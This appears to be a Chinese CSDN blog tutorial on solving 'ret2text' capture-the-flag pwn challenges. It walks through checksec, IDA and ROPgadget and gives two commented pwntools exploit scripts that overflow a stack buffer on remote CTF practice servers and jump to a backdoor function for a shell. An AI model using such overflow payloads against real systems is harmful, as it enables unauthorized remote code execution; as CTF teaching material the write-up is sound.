pwn ret2text 解题步骤

本文介绍了如何使用checksec分析文件保护,IDA工具反编译查找漏洞,特别是通过找到溢出点和利用ROP技巧(如ROPgadget)来构造payload,实现对远程服务器的控制。文中给出了两个实际的pwn示例,展示了如何构造和发送payload以获取shell权限。
摘要由CSDN通过智能技术生成

1.使用checksec查看文件的信息与保护

checksec 文件名

2.使用ida反编译工具擦看漏洞

先看main函数之后拓展找到溢出点。

擦看溢出数据32位加4字节偏移;64位加8字节偏移。

使用kali命令:

ROPgadget --binary pwn文件 --only "plt|pop|ret"

找到ret地址。

找到后门地址或自己编写后门。

3.写exp

示例:

# 导入pwn库,这是一个用于CTF比赛和二进制漏洞利用的库  
from pwn import *  
  
# 连接到远程的二进制服务,地址是node5.buuoj.cn,端口是27626  
p = remote("node5.buuoj.cn", 27626)  
  
# 定义一个变量backdoor,存储了二进制中某个函数的地址。这个地址可能是一个后门函数,可以让我们获取shell  
backdoor = 0x40117B  
  
# 构造payload。这个payload是为了触发漏洞的。它由两部分组成:  
# 1. b"a"*(0x20+0x8):这部分是填充,目的是覆盖某些内存区域,使得我们控制的内存覆盖到返回地址。  
# 2. p64(backdoor):这部分是将之前定义的backdoor地址转换为64位整数,并放到payload中。当程序执行到这个地址时,它会跳转到backdoor函数。  
payload = b"a"*(0x20+0x8) + p64(backdoor)  
  
# 发送payload到远程服务器  
p.sendline(payload)  
  
# 交互模式,使我们可以与远程服务器进行交互。例如,如果backdoor是一个shell,那么现在我们可以直接在这个shell中执行命令  
p.interactive()

示例2:

# 从pwn库中导入所有功能  
from pwn import *  
  
# 连接到远程服务器,IP地址为1.14.71.254,端口为28026  
p = remote("1.14.71.254", 28026)  
  
# 定义后门函数的地址,当程序执行到这里时,通常会提供某种形式的shell或其他功能  
backdoor = 0x4014BA  
  
# 定义pop_ret指令的地址,这个指令通常是将栈顶的值弹出到指令指针寄存器中,从而执行那个地址上的代码  
# 在漏洞利用中,这常用于控制程序流程  
pop_ret = 0x40101a  
  
# 构造payload。payload通常由两部分组成:  
# 1. b'a'*(0x40+8):这是填充数据,用于覆盖目标程序的某些内存区域,使得栈上的返回地址被覆盖为我们想要的地址  
# 0x40是填充的大小,加上8是因为在64位系统上,返回地址通常占用8字节  
# 2. p64(pop_ret)+p64(backdoor):这是精心构造的返回地址部分。首先,使用pop_ret指令的地址作为第一次返回的地址  
# 当程序执行到pop_ret时,它会将栈顶的下一个地址(即backdoor的地址)弹出到指令指针寄存器,从而跳转到backdoor函数  
payload = b'a'*(0x40+8) + p64(pop_ret) + p64(backdoor)  
  
# 发送payload。sendlineafter函数会在接收到"Make a wish: "这个字符串后发送payload  
# 这意味着payload会被发送到目标程序,并且程序可能正等待用户输入"Make a wish: "后的内容  
p.sendlineafter("Make a wish: ", payload)  
  
# 进入交互模式,使得攻击者可以在远程shell中执行命令  
# 如果backdoor函数确实提供了一个shell,那么现在攻击者就可以控制这台远程服务器了  
p.interactive()

这只是一个示例具体的地址填充需要自己寻找。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值